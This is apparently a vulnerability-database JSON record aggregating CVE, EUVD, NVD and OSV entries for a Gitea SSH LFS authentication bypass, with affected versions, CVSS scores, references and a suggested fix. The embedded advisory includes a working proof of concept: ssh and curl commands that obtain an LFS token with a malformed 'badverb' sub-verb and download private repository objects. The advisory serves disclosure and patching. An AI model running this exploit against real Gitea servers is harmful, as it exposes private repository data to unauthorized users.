{"id":"GHSA-7wvc-rvp7-w99x","revision":null,"records":[{"revision":"b71aa0d2446442739d482732f1ffdc7c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-58423","aliases":[],"title":"LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories","description":"LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories","state":0,"publishedAt":"2026-07-03T20:54:52.58+00:00","modifiedAt":"2026-07-06T15:09:55.924+00:00","affected":[{"ecosystem":"Vendor product","name":"Gitea Open Source Git Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Gitea\",\n                    \"product\": \"Gitea Open Source Git Server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"1.23.0\",\n                            \"lessThanOrEqual\": \"1.26.2\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x","https://github.com/go-gitea/gitea/pull/38008","https://github.com/go-gitea/gitea/releases/tag/v1.26.4","https://blog.gitea.com/release-of-1.26.3-and-1.26.4/"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58423","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-58423","identifiers":["CVE-2026-58423"]},"retained":false,"historicalAffected":[]},{"revision":"104da67882774affa6bb116494758fa9","observedAt":"2026-11-07T13:23:56.577+00:00","statement":{"source":"euvd","id":"EUVD-2026-41606","aliases":["CVE-2026-58423","GHSA-7wvc-rvp7-w99x"],"title":"LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories","description":"LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":null}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x","https://github.com/go-gitea/gitea/pull/38008","https://github.com/go-gitea/gitea/releases/tag/v1.26.4","https://blog.gitea.com/release-of-1.26.3-and-1.26.4/"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-41606","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 3, 2026, 8:54:52 PM","dateUpdated":"Jul 6, 2026, 3:09:55 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-41606","identifiers":["EUVD-2026-41606","CVE-2026-58423","GHSA-7wvc-rvp7-w99x"]},"retained":false,"historicalAffected":[]},{"revision":"9a188010de8b4d7496f70f01c420a9af","observedAt":"2026-10-27T15:15:28.354+00:00","statement":{"source":"nvd","id":"CVE-2026-58423","aliases":[],"title":"LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories","description":"LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories","state":0,"publishedAt":"2026-07-03T21:17:05.55+00:00","modifiedAt":"2026-10-25T15:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · 88ee5874-cf24-4952-aea0-31affedb7ff2 · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://blog.gitea.com/release-of-1.26.3-and-1.26.4/","https://github.com/go-gitea/gitea/pull/38008","https://github.com/go-gitea/gitea/releases/tag/v1.26.4","https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58423","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-287"],"productCriteria":[],"sourceDates":{"published":"2026-07-03T21:17:05.550","lastModified":"2026-10-25T15:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-58423","identifiers":["CVE-2026-58423"]},"retained":false,"historicalAffected":[]},{"revision":"b81a75e297994d9982f8d336b78d9199","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-7wvc-rvp7-w99x","aliases":["CVE-2026-58423","GO-2026-6046"],"title":"Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories","description":"### Summary\n\nA flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.\n\n### Details\n\nIn `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to:\n\n```go\nsetting.PanicInDevOrTesting(\"unknown verb: %s %s\", verb, lfsVerb)\nreturn perm.AccessModeNone\n```\n\nIn production (`IsProd=true`), `PanicInDevOrTesting` only logs an error and does not panic. `AccessModeNone` (value `0`) is then passed to `ServCommand` in `routers/private/serv.go`, where the permission check block at line ~322 evaluates:\n\n```go\nif repoExist &&\n    (mode > perm.AccessModeRead ||\n     repo.IsPrivate ||\n     owner.Visibility.IsPrivate() ||\n     (user != nil && user.IsRestricted) ||\n     setting.Service.RequireSignInViewStrict) {\n    ...\n    if userMode < mode {  // userMode < 0 is always false\n        // deny access\n    }\n}\n```\n\nFor private repositories, `repo.IsPrivate` triggers the permission check block, but `userMode < mode` evaluates to `userMode < 0`, which is always false — **access is granted regardless of the user's actual permissions**.\n\nThe function then returns successfully, and `runServ` generates a valid LFS JWT token with `Op: \"badverb\"`. On the HTTP LFS side (`services/lfs/server.go:599`), the `Op` field is only validated for write operations:\n\n```go\nif mode == perm_model.AccessModeWrite && claims.Op != \"upload\" {\n    return nil, errors.New(\"invalid token claim\")\n}\n```\n\nDownload operations do not check `Op`, so the attacker's token is accepted for all LFS read operations.\n\n### PoC\n\nPrerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: `admin` (owns a private repo with LFS objects) and `attacker` (a regular user with an SSH key, **no access** to the private repo).\n\n```bash\n# 1. Verify attacker has NO access via normal LFS authenticate\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git download\"\n# Output: \"User: attacker is not authorized to read admin/private-repo.\"\n\n# 2. EXPLOIT: Use malformed sub-verb to bypass permission check\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git badverb\"\n# Output: {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"https://gitea-instance/admin/private-repo.git/info/lfs\"}\n\n# 3. Use stolen token to request LFS object download\ncurl -X POST \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch\" \\\n  -H \"Content-Type: application/vnd.git-lfs+json\" \\\n  -H \"Accept: application/vnd.git-lfs+json\" \\\n  -H \"Authorization: Bearer eyJ...\" \\\n  -d '{\"operation\":\"download\",\"objects\":[{\"oid\":\"<known-oid>\",\"size\":<size>}]}'\n# Returns download URL with valid authorization header\n\n# 4. Download private LFS content\ncurl -H \"Authorization: Bearer eyJ...\" \\\n  \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>\"\n# Returns the private LFS object content\n```\n\n### Impact\n\nAny user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from **any private repository** on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).\n\n### Suggested fix\n\nValidate the LFS sub-verb before calling `getAccessMode`, or return an error instead of `AccessModeNone` for unknown verbs:\n\n```go\ncase git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:\n    switch lfsVerb {\n    case git.CmdSubVerbLfsUpload:\n        return perm.AccessModeWrite\n    case git.CmdSubVerbLfsDownload:\n        return perm.AccessModeRead\n    default:\n        return fail(ctx, \"Unknown LFS verb\", \"Unknown LFS verb: %s\", lfsVerb)\n    }\n```","state":0,"publishedAt":"2026-07-21T20:35:09+00:00","modifiedAt":"2026-07-22T21:11:20.9672038+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.23.0"},{"kind":"fixed","version":"1.26.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x","https://nvd.nist.gov/vuln/detail/CVE-2026-58423","https://github.com/go-gitea/gitea/pull/38008","https://github.com/go-gitea/gitea/commit/42513398c05ca6bdf71da76cb6f9baaebe8cb924","https://github.com/go-gitea/gitea/commit/8f4b7ebbf6061bd44b1ab3824f17f37b87fb1740","https://blog.gitea.com/release-of-1.26.3-and-1.26.4","https://github.com/go-gitea/gitea","https://github.com/go-gitea/gitea/releases/tag/v1.26.4"],"sourceUrl":"https://github.com/advisories/GHSA-7wvc-rvp7-w99x","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7wvc-rvp7-w99x","identifiers":["GHSA-7wvc-rvp7-w99x","CVE-2026-58423","GO-2026-6046"]},"retained":false,"historicalAffected":[]},{"revision":"ddd6fd7d2ec24c23ada353e965091bfd","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6046","aliases":["CVE-2026-58423","GHSA-7wvc-rvp7-w99x"],"title":"Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories in code.gitea.io/gitea","description":"Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories in code.gitea.io/gitea","state":0,"publishedAt":"2026-07-22T20:36:35+00:00","modifiedAt":"2026-07-22T21:00:31.4626337+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.23.0"},{"kind":"fixed","version":"1.26.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x","https://nvd.nist.gov/vuln/detail/CVE-2026-58423","https://blog.gitea.com/release-of-1.26.3-and-1.26.4","https://github.com/go-gitea/gitea/commit/42513398c05ca6bdf71da76cb6f9baaebe8cb924","https://github.com/go-gitea/gitea/commit/8f4b7ebbf6061bd44b1ab3824f17f37b87fb1740","https://github.com/go-gitea/gitea/pull/38008","https://github.com/go-gitea/gitea/releases/tag/v1.26.4"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6046","license":"OSV · upstream source license applies","key":"osv:GO-2026-6046","identifiers":["GO-2026-6046","CVE-2026-58423","GHSA-7wvc-rvp7-w99x"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}